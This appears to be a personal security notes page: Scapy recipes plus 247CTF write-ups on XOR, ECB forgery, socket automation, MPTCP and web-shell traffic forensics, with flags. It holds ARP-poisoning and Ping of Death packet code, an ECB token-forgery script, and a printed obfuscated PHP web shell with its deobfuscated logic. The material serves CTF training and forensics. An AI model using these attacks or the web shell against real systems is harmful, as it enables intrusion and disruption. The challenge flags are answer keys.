Hello Navi

note and sharing

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

1
2
3
4
5
6
7
8
# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

1
2
3
4
5
6
7
# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

1
2
3
4
5
# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
    1
    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
    1
    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

1
2
# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

1
2
3
4
5
# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

1
2
# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# Read encrypted file
with open("my_magic_bytes.jpg.enc", "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

When XOR encrypts known file formats (JPG, PNG, ZIP, etc.), the magic bytes provide enough information to recover the key without brute force.

247CTF{ca4e3b7f913ca7ca8f33fb0504f2947f}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (23 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt?user={payload1}")
cipher_part1 = r1.text[:32] # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# Block 2: Remaining 7 bytes + PKCS#7 padding to 16 bytes
padding_len = 16 - (20 % 16)
part2_plain = b"user" + bytes([padding_len] * padding_len)
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt?user={payload2}")
cipher_part2 = r2.text[:32]
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag?user={final_token}")
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()
247CTF{ddd01e396dc1965c3fcf943f3968aa39}

Socket challenge requiring automation to solve 500 arithmetic problems programmatically. Use Python with pwntools to interface with the remote service and automate the solution.

Key Considerations

  • Library: pwntools for socket communication
  • Custom delimiter: Uses \r\n instead of standard \n
  • Approach: Parse math expressions dynamically and compute answers

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import pwn

HOST = "7a3875d00fa5d462.247ctf.com"
PORT = 50337

pwn.context.log_level = "info"
pwn.tube.newline = b"\r\n"


def solve_challenge():
conn = None
try:
conn = pwn.remote(HOST, PORT)

for i in range(500):
conn.recvuntil(b"answer to ")
question_line = conn.recvline().decode().strip()
expression = question_line.replace("?", "")
result = int(eval(expression))
conn.sendline(str(result).encode())
pwn.log.info(f"Progress: [{i + 1}/500] Solved: {expression} = {result}")

pwn.log.success("500 problems solved! Waiting for flag...")
conn.interactive()

except Exception as e:
pwn.log.error(f"An error occurred: {e}")

finally:
if conn:
pwn.log.info("Connection closed.")
conn.close()


if __name__ == "__main__":
solve_challenge()

Execution Output

1
2
3
4
5
6
7
8
❯ python tcp_auto.py
[+] Opening connection to 7a3875d00fa5d462.247ctf.com on port 50337: Done
...
[*] Progress: [499/500] Solved: 221 + 474 = 695
[*] Progress: [500/500] Solved: 4 + 449 = 453
[+] 500 problems solved! Waiting for flag...
[*] Switching to interactive mode
247CTF{flag_here}

Multi-path TCP (MPTCP) challenge: data is spread across multiple subflows. Task is to combine the requests and recover the flag.

Approach

  1. Merge PCAP files - Combine three MPTCP flow captures
  2. Extract TCP streams - Reconstruct the data from merged flows
  3. Analyze extracted data - Look for embedded archives and artifacts
  4. Extract and inspect - Check for flag in extracted files

Solution Steps

1
2
3
4
5
6
7
8
9
10
11
# 1. Merge the three PCAP files
mergecap -w merged_chall.pcap chall-i1.pcap chall-i2.pcap chall-i3.pcap

# 2. Extract TCP flows
tcpflow -r merged_chall.pcap -o ./output_dir

# 3. Concatenate flow streams
cat a b c > a

# 4. Extract embedded archive with binwalk
binwalk -eM a

Key Findings

  • Identified ZIP archive at offset 0x78145B containing 11 files
  • Extracted files include multiple JPEGs: Flag.jpg, Here.jpg, Is.jpg, NOT_A_FLAG.jpg
  • Flag is embedded in one of the extracted images
247CTF{850bb436f0eecad0205eebb6c9b7b6c6}

Challenge Description

1
2
3
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?

我们的网络服务器再次遭到入侵,我们不太清楚攻击者的具体意图。幸运的是,我们只使用HTTP协议,并且在攻击期间成功捕获了网络流量!你能看出攻击者的意图吗?

Tools Used: Wireshark, Scapy, Python3


1. Initial Traffic Discovery

We start by analyzing the PCAP file to identify interesting HTTP interactions. Using a simple Scapy script, we can filter for 200 OK responses to see what the server was returning.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import *

PCAP_FILE = "web_shell.pcap"

packages = rdpcap(PCAP_FILE)
for i, p in enumerate(packages):
if p.haslayer(Raw):
raw = p[Raw].load
if b"200 OK" in raw:
try:
print(f"[*] Packet {i+1} | Length: {len(raw)}")
print(raw.decode())
print("-" * 20)
except:
continue

In the output, we notice a file upload form and a confirmation that owned.php was uploaded:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Packet 16640
HTTP/1.1 200 OK
...
<body>
<form enctype="multipart/form-data" action="uploader.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
The file owned.php has been uploaded

Checking the preceding packets (around index 16638), we find the content of the uploaded owned.php.


2. Analyzing the Malicious Web Shell

The uploaded file owned.php contains an obfuscated PHP script.

1
2
3
4
5
6
7
8
9
10
<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>

By removing the noise (replacing [Z and eq), we can reconstruct the logic. It's a sophisticated web shell (similar to Behinder or Godzilla) that uses XOR encryption and Zlib compression for C2 traffic.

Deobfuscated Logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$k = "81aebe18"; // XOR Key
$kh = "775d4f83f4e0"; // Header Marker
$kf = "0120dd0bccc6"; // Footer Marker
$p = "kkqES1eCIzoxyHXb"; // Response Prefix

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o .= $t{$i}^$k{$j};
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
// Decrypt: Base64 -> XOR -> Zlib Uncompress -> Eval
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
// Encrypt: Zlib Compress -> XOR -> Base64
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}

3. Decrypting C2 Traffic

Now that we have the key (81aebe18) and the protocol markers, we can decrypt the subsequent traffic. We notice the attacker is executing commands like ls and xxd to read a file named y_flag_here.txt one byte at a time.

Example of a decrypted request: chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');


4. Automated Flag Reconstruction

To get the full flag, we need to iterate through all packets, decrypt the requests to find the offset (-s parameter in xxd), and decrypt the responses to find the hex value of the character at that offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""
Scapy HTTP/Webshell Traffic Analyzer
------------------------------------
A specialized utility for extracting and decrypting payloads from PCAP files,
targeting traffic typical of PHP webshells (e.g., Behinder, AntSword).
Includes logic for XOR decryption, Zlib decompression, and flag assembly.
"""

import base64
import re
import urllib.parse
import zlib

from scapy.all import *

# --- Configuration & Constants ---
PCAP_FILE = "/home/kita/Downloads/web_shell.pcap"

# Cryptographic Keys (Typical for Behinder/Godzilla style webshells)
KEY = b"81aebe18"
KH = b"775d4f83f4e0" # Header marker
KF = b"0120dd0bccc6" # Footer marker
KP = b"kkqES1eCIzoxyHXb" # Response prefix

# Global state for flag extraction
flag_data = {} # Maps offset -> character
current_offset = -1

# --- Logic Functions ---


def decrypt_payload(b64_data):
"""
Decrypts a payload using the sequence: URL Decode -> Base64 -> XOR -> Zlib.
"""
try:
# 1. URL Decode
clean_data = urllib.parse.unquote_to_bytes(b64_data)

# 2. Fix Base64 padding if necessary
clean_data += b"=" * (-len(clean_data) % 4)
decoded = base64.b64decode(clean_data)

# 3. XOR Decryption
k_len = len(KEY)
xored = bytearray(a ^ KEY[i % k_len] for i, a in enumerate(decoded))

# 4. Zlib Decompression
return zlib.decompress(xored).decode("utf-8", errors="ignore")
except Exception as e:
return f"[!] Decryption Error: {e}"


def extract_flag_fragment(raw_text):
"""
Parses decrypted output to identify flag fragments extracted via 'xxd'.
Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response.
"""
global current_offset
raw_text = raw_text.strip()
if not raw_text:
return

# Match Request: Extract offset from xxd command
if "xxd -p -l1 -s" in raw_text:
match = re.search(r"-s(\d+)", raw_text)
if match:
current_offset = int(match.group(1))

# Match Response: If we have an offset, convert hex response to char
elif current_offset != -1 and re.match(r"^[0-9a-fA-F]{2}$", raw_text):
try:
char = bytes.fromhex(raw_text).decode("utf-8")
flag_data[current_offset] = char
print(
f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'"
)
except Exception as e:
print(f"[-] Decode error: {e}")
finally:
current_offset = -1


def process_pcap(packets, regex):
"""Iterates through packets, searching for encrypted payloads via regex."""
print(f"[*] Analyzing {len(packets)} packets...")

for i, p in enumerate(packets):
if p.haslayer(Raw):
raw_payload = p[Raw].load
match = re.search(regex, raw_payload)
if match:
decrypted = decrypt_payload(match.group(1))
print(f"[*] Packet {i + 1} matched.")
# print(f"Raw: {match.group(1)[:50]}...") # Debug
print(f"Decrypted: {decrypted}")

extract_flag_fragment(decrypted)
print("-" * 30)


def print_final_flag():
"""Sorts fragments by offset and prints the assembled flag."""
if not flag_data:
print("\n[-] No flag fragments found in the analyzed packets.")
return

sorted_chars = [flag_data[k] for k in sorted(flag_data.keys())]
final_flag = "".join(sorted_chars)

print("\n" + "=" * 40)
print("\033[93m[*] FINAL ASSEMBLED FLAG:\033[0m")
print(f"\033[96m{final_flag}\033[0m")
print("=" * 40 + "\n")


# --- Debug Utilities ---


def check_packet_by_content(packets, content):
"""Heuristic search for specific raw bytes in a PCAP."""
for i, p in enumerate(packets):
if p.haslayer(Raw) and content in p[Raw].load:
print(f"[*] Content found in Packet {i + 1}")
print(p[Raw].load.decode(errors="ignore"))


# --- Main Execution ---

if __name__ == "__main__":
try:
# Load necessary layers
load_layer("tls")

# Load PCAP
pkts = rdpcap(PCAP_FILE)

# Regex to capture content between specific webshell markers
payload_regex = KH + b"(.+?)" + KF

# Execute analysis
process_pcap(pkts, payload_regex)
print_final_flag()

except FileNotFoundError:
print(f"[-] Error: PCAP file not found at {PCAP_FILE}")
except Exception as e:
print(f"[-] Fatal error: {e}")

Result

Running the script assembles the flag from the fragmented xxd exfiltration.

247CTF{56485cc07ac3d0bf97b3022a2f97248c}

Find a number that is one more than itself. Specifically, a number where n > 0 && n > (n + 1).

Vulnerability

Integer overflow! In languages with fixed-size integers, the maximum value when incremented wraps around to the minimum negative value.

For a 32-bit signed integer:

  • Maximum value: 2147483647
  • 2147483647 + 1 overflows to: -2147483648 (negative)

So the condition n > (n + 1) becomes true.

Solution

1
2
3
nc 287ab557f3f29afd.247ctf.com 50088
2147483647
247CTF{********************************}

Simply send the maximum 32-bit signed integer value.

247CTF{38f5daf742a4b3d74b3a7575bf4d7d1e}

Identify the flag hidden within error messages of ICMP traffic captured in a PCAP file.

Vulnerability

ICMP packets (ping replies) can carry data in their payload. The flag is exfiltrated through ICMP echo replies. ICMP is often overlooked as a potential data exfiltration channel.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import rdpcap
from scapy.layers.inet import ICMP

packets = rdpcap("error_reporting.pcap")
flag = b""

for p in packets:
# ICMP type 0 = Echo Reply (responses to ping requests)
if p.haslayer(ICMP) and p[ICMP].type == 0 and p.haslayer("Raw"):
flag += p["Raw"].load

with open("flag.jpg", "wb") as f:
f.write(flag)

print("[+] Extracted data saved to flag.jpg")

The extracted data is a JPG image containing the flag.

247CTF{580e6d627470448064fa7bffd6284ddf}